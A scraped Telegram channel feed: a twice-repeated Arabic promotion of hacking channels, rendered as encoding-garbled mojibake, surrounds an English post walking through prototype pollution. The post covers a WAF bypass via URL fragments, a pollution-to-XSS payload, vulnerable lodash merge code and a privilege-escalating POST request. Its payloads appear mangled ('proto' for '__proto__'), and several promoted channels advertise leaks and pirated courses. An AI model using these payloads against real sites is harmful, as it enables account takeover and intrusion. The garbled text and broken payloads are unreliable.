ู‡ุฐู‡ ู…ุฌู…ูˆุนุฉ ู…ู† ุงู„ู‚ู†ูˆุงุช ุงู„ุฎุงุตุฉ ุจู†ุง ูˆุงู„ุชูŠ ู‚ุฏ ุชููŠุฏูƒู… ุฎู„ุงู„ ุฑุญู„ุชูƒู… ููŠ ุงู„ู…ุฌุงู„ ุงู„ุชู‚ู†ูŠ ูˆุฎุงุตุฉู‹ ููŠ ุงู„ุฃู…ู† ุงู„ุณูŠุจุฑุงู†ูŠ.

@end_k
ู‚ู†ุงุชู†ุง ุงู„ู…ุดุชุฑูƒุฉ ูˆุงู„ุชูŠ ุชุญุชูˆูŠ ุนู„ู‰ ุจุซูˆุซ ู…ุจุงุดุฑุฉ ูˆู…ุญุชูˆู‰ ู…ู…ูŠุฒ ูˆุบูŠุฑ ู…ุณุจูˆู‚.
@iiLinux
ู‚ู†ุงุฉ ุนุงู…ุฉ ุชู‚ูˆู… ุจู†ุดุฑ ุงู„ุชู‚ู†ูŠุงุช ุงู„ุนุงู…ุฉ ูˆ ุชุชู…ูŠุฒ ุจุดุฑูˆุญุงุช ู„ูŠู†ูƒุณ.

@GlobalRedHat
ุงู„ู…ุฌุชู…ุน ุงู„ุฑุณู…ูŠ ู„ู„ู‚ุฑุงุตู†ุฉ ุฐูˆูŠ ุงู„ู‚ุจุนุฉ ุงู„ุญู…ุฑุงุก.

@k7ali_linux
ู‚ู†ุงุฉ ุชุฎุต ุดุฑูˆุญุงุช ูƒุงู„ูŠ ู„ูŠู†ูƒุณ ุจุดูƒู„ ู…ุฎุชู„ู ูˆู…ุชู…ูŠุฒ.

@ExploitQuest
ู‚ู†ุงุฉ ุชู‡ุชู… ุจุงูƒุชุดุงู ุงู„ุซุบุฑุงุช ูˆ ุงุณุชุบู„ุงู„ู‡ุง ุจุงู„ุฅุถุงูุฉ ุฅู„ู‰ ุงู„ุดุฑูˆุญุงุช ุงู„ู…ู…ูŠุฒุฉ ููŠู‡ุง.
@EgyptianshieldTOOLS
ู‚ู†ุงุฉ ุฎุงุตุฉ ุจุงู„ุฃุฏูˆุงุช ุงู„ู…ุณุชุฎุฏู…ุฉ ููŠ ุงู„ุจุฑู…ุฌุฉ ูˆุงู„ุฃู…ู† ุงู„ุณูŠุจุฑุงู†ูŠ.

@iiMrDark
ู‚ู†ุงุฉ ุชู‚ุฏู… ู…ุญุชูˆู‰ ุฎุงุต ุจุงู„ุชุณุฑูŠุจุงุช ูˆุงู„ุจุฑุงู…ุฌ.

@Wa3i_Tech
ู‚ู†ุงุฉ ุชู‚ุฏู… ุงู„ูˆุนูŠ ููŠ ุงู„ุฃู…ู† ุงู„ุณูŠุจุฑุงู†ูŠ ูˆุดุฑูˆุญุงุช ู…ุจุณุทุฉ.

@codearabs
ู‚ู†ุงุฉ ู…ุฎุชุตุฉ ุจุชุณุฑูŠุจ ูƒูˆุฑุณุงุช ุงู„ุดุฑูƒุงุช ุงู„ู…ุดู‡ูˆุฑุฉ ููŠ ุงู„ู…ุฌุงู„ุงุช ุงู„ุชู‚ู†ูŠุฉ.
@Egyshield
ู‚ู†ุงุฉ ู…ุฎุชุตุฉ ุจุงู„ุดุฑูˆุญุงุช ูˆุงู„ุฃุฎุจุงุฑ ุงู„ุชู‚ู†ูŠุฉ ูˆุชุญุฏูŠุฏุงู‹ ููŠ ุงู„ุจุฑู…ุฌุฉ ูˆุงู„ุฃู…ู† ุงู„ุณูŠุจุฑุงู†ูŠ.
@Bad_Rabbit_Team
ู‚ู†ุงุฉ Bad Rabbit โ€“ ู‚ู†ุงุฉ ู…ุชุฎุตุตุฉ ููŠ ุงู„ู‡ุฌู…ุงุช ุงู„ุณูŠุจุฑุงู†ูŠุฉุŒ ุชู‚ุฏู… ุดุฑูˆุญุงุช ุนู…ู„ูŠุฉ ุนู† ุงุฎุชุจุงุฑ ุงู„ุงุฎุชุฑุงู‚ุŒ ุชุญู„ูŠู„ ุงู„ุซุบุฑุงุชุŒ ูˆุฃุฏูˆุงุช ุงู„ู‡ุฌูˆู… ุงู„ุฅู„ูƒุชุฑูˆู†ูŠ.
@GlobalRedTeam
ุงู„ู…ุฌุชู…ุน ุงู„ุฑุณู…ูŠ ู„ู€Global Red Team

@darkcsc
ู‚ู†ุงุฉ ุฎุงุตุฉ ุจุนู„ู… ุงู„ุญุงุณูˆุจ ูˆุชุญุชูˆูŠ ุนู„ู‰ ุดุฑูˆุญุงุช ุชุฎุต ุงู„ุญุงุณูˆุจ ุจุดูƒู„ ุนุงู….
๐Ÿ‘4โค2
ExploitQuest
Prototype Pollution Vulnerability Prototype Pollution is a security vulnerability in JavaScript that allows an attacker to add arbitrary properties to the prototype (the root object) of a general object. This enables an attacker to modify object propertiesโ€ฆ
A Real-World Example of Prototype Pollution Exploitation


A hacker was testing a target and noticed that it didnโ€™t properly validate user inputs, allowing multiple XSS vulnerabilities. This led them to wonder if they could directly manipulate the Prototype via the URL.

To test for Prototype Pollution, they started with the following request:

https://target.com/?proto.arya=arya


However, the WAF (Web Application Firewall) blocked this attempt.

To bypass it, they got creative and modified the payload:

https://target.com/?proprototo.arya=arya



To confirm if the vulnerability was present, they opened the browser console and created an empty object:

test = {};
test.arya; // Outputs: "arya"

Since the property (arya) was successfully injected into the object, Prototype Pollution was confirmed!

But Prototype Pollution alone has no significant impact, so they needed to chain it with another vulnerabilityโ€”like XSSโ€”to escalate the attack.



โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

Leveraging Web Archives for Further Exploitation


While analyzing the targetโ€™s Web Archive, the hacker noticed many URLs contained # followed by useful information.

Reminder:
Everything after # in a URL is not sent to the server but is processed directly by the DOM, meaning the WAF wonโ€™t block it!

The hacker decided to test this method:


https://target.com/#proto.arya=arya



By following the same console-based verification, they confirmed the attack worked.



โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

Turning Prototype Pollution into
XSS



Through behavior analysis, they discovered that injected values were being inserted into the style attribute of HTML elements.

Now, they could escalate this attack by chaining Prototype Pollution with XSS:

https://target.com/#proto[onload]=alert(1)




โ”
โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

Prototype Pollution - Server Side


Prototype Pollution isnโ€™t just a client-side issueโ€”it can also be exploited on the server side.

If a Node.js server uses libraries that improperly merge user input into objects (e.g., lodash, merge, deepExtend, setValue), it becomes vulnerable!

Example of a Vulnerable Node.js Code


const _ = require('lodash');  
const express = require('express');
const app = express();

app.use(express.json());

app.post('/update', (req, res) => {
let defaultConfig = { role: 'user' };
let userConfig = req.body;

let finalConfig = _.merge({}, defaultConfig, userConfig);

res.json(finalConfig);
});

app.listen(3000, () => console.log("Server running on port 3000"));



Whereโ€™s the Problem?


The function _.merge() merges user input with the defaultConfig object.

If an attacker sends a payload with proto, they can modify the prototype of all objects in the application!


โ”
โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

Attack Scenario (Exploiting the
Above Code)


The hacker discovers an API endpoint /update that sets user roles.

They send the following malicious request:


POST /update HTTP/1.1
Host:
target.com
Content-Type: application/json

{
"proto": { "isAdmin":
true }
}



What Happens?
Since proto affects Object.prototype, every new object created in the application will automatically have isAdmin = true!


Conclusion
Prototype Pollution is a serious vulnerability that can be exploited both client-side and server-side.
When combined with other vulnerabilities (like XSS, RCE, or privilege escalation), it can have a critical impact.
Developers should use secure coding practices and avoid unsafe object merging in applications.


[https://t.me/ExploitQuest]
โค7๐Ÿ‘6๐Ÿ”ฅ4๐Ÿคฏ1
Forwarded from s4rrar
ุฃู‡ู„ุงู‹ ูˆุณู‡ู„ุงู‹ ุจูƒู… ุฌู…ูŠุนุงู‹ุŒ
ู‡ุฐู‡ ู…ุฌู…ูˆุนุฉ ู…ู† ุงู„ู‚ู†ูˆุงุช ุงู„ุฎุงุตุฉ ุจู†ุง ูˆุงู„ุชูŠ ู‚ุฏ ุชููŠุฏูƒู… ุฎู„ุงู„ ุฑุญู„ุชูƒู… ููŠ ุงู„ู…ุฌุงู„ ุงู„ุชู‚ู†ูŠ ูˆุฎุงุตุฉู‹ ููŠ ุงู„ุฃู…ู† ุงู„ุณูŠุจุฑุงู†ูŠ.

@end_k
ู‚ู†ุงุชู†ุง ุงู„ู…ุดุชุฑูƒุฉ ูˆุงู„ุชูŠ ุชุญุชูˆูŠ ุนู„ู‰ ุจุซูˆุซ ู…ุจุงุดุฑุฉ ูˆู…ุญุชูˆู‰ ู…ู…ูŠุฒ ูˆุบูŠุฑ ู…ุณุจูˆู‚.
@iiLinux
ู‚ู†ุงุฉ ุนุงู…ุฉ ุชู‚ูˆู… ุจู†ุดุฑ ุงู„ุชู‚ู†ูŠุงุช ุงู„ุนุงู…ุฉ ูˆ ุชุชู…ูŠุฒ ุจุดุฑูˆุญุงุช ู„ูŠู†ูƒุณ.

@GlobalRedHat
ุงู„ู…ุฌุชู…ุน ุงู„ุฑุณู…ูŠ ู„ู„ู‚ุฑุงุตู†ุฉ ุฐูˆูŠ ุงู„ู‚ุจุนุฉ ุงู„ุญู…ุฑุงุก.

@k7ali_linux
ู‚ู†ุงุฉ ุชุฎุต ุดุฑูˆุญุงุช ูƒุงู„ูŠ ู„ูŠู†ูƒุณ ุจุดูƒู„ ู…ุฎุชู„ู ูˆู…ุชู…ูŠุฒ.

@ExploitQuest
ู‚ู†ุงุฉ ุชู‡ุชู… ุจุงูƒุชุดุงู ุงู„ุซุบุฑุงุช ูˆ ุงุณุชุบู„ุงู„ู‡ุง ุจุงู„ุฅุถุงูุฉ ุฅู„ู‰ ุงู„ุดุฑูˆุญุงุช ุงู„ู…ู…ูŠุฒุฉ ููŠู‡ุง.
@EgyptianshieldTOOLS
ู‚ู†ุงุฉ ุฎุงุตุฉ ุจุงู„ุฃุฏูˆุงุช ุงู„ู…ุณุชุฎุฏู…ุฉ ููŠ ุงู„ุจุฑู…ุฌุฉ ูˆุงู„ุฃู…ู† ุงู„ุณูŠุจุฑุงู†ูŠ.

@iiMrDark
ู‚ู†ุงุฉ ุชู‚ุฏู… ู…ุญุชูˆู‰ ุฎุงุต ุจุงู„ุชุณุฑูŠุจุงุช ูˆุงู„ุจุฑุงู…ุฌ.

@Wa3i_Tech
ู‚ู†ุงุฉ ุชู‚ุฏู… ุงู„ูˆุนูŠ ููŠ ุงู„ุฃู…ู† ุงู„ุณูŠุจุฑุงู†ูŠ ูˆุดุฑูˆุญุงุช ู…ุจุณุทุฉ.

@codearabs
ู‚ู†ุงุฉ ู…ุฎุชุตุฉ ุจุชุณุฑูŠุจ ูƒูˆุฑุณุงุช ุงู„ุดุฑูƒุงุช ุงู„ู…ุดู‡ูˆุฑุฉ ููŠ ุงู„ู…ุฌุงู„ุงุช ุงู„ุชู‚ู†ูŠุฉ.
@Egyshield
ู‚ู†ุงุฉ ู…ุฎุชุตุฉ ุจุงู„ุดุฑูˆุญุงุช ูˆุงู„ุฃุฎุจุงุฑ ุงู„ุชู‚ู†ูŠุฉ ูˆุชุญุฏูŠุฏุงู‹ ููŠ ุงู„ุจุฑู…ุฌุฉ ูˆุงู„ุฃู…ู† ุงู„ุณูŠุจุฑุงู†ูŠ.
@Bad_Rabbit_Team
ู‚ู†ุงุฉ Bad Rabbit โ€“ ู‚ู†ุงุฉ ู…ุชุฎุตุตุฉ ููŠ ุงู„ู‡ุฌู…ุงุช ุงู„ุณูŠุจุฑุงู†ูŠุฉุŒ ุชู‚ุฏู… ุดุฑูˆุญุงุช ุนู…ู„ูŠุฉ ุนู† ุงุฎุชุจุงุฑ ุงู„ุงุฎุชุฑุงู‚ุŒ ุชุญู„ูŠู„ ุงู„ุซุบุฑุงุชุŒ ูˆุฃุฏูˆุงุช ุงู„ู‡ุฌูˆู… ุงู„ุฅู„ูƒุชุฑูˆู†ูŠ.
@GlobalRedTeam
ุงู„ู…ุฌุชู…ุน ุงู„ุฑุณู…ูŠ ู„ู€Global Red Team

@darkcsc
ู‚ู†ุงุฉ ุฎุงุตุฉ ุจุนู„ู… ุงู„ุญุงุณูˆุจ ูˆุชุญุชูˆูŠ ุนู„ู‰ ุดุฑูˆุญุงุช ุชุฎุต ุงู„ุญุงุณูˆุจ ุจุดูƒู„ ุนุงู….
๐Ÿ‘6๐Ÿ‘1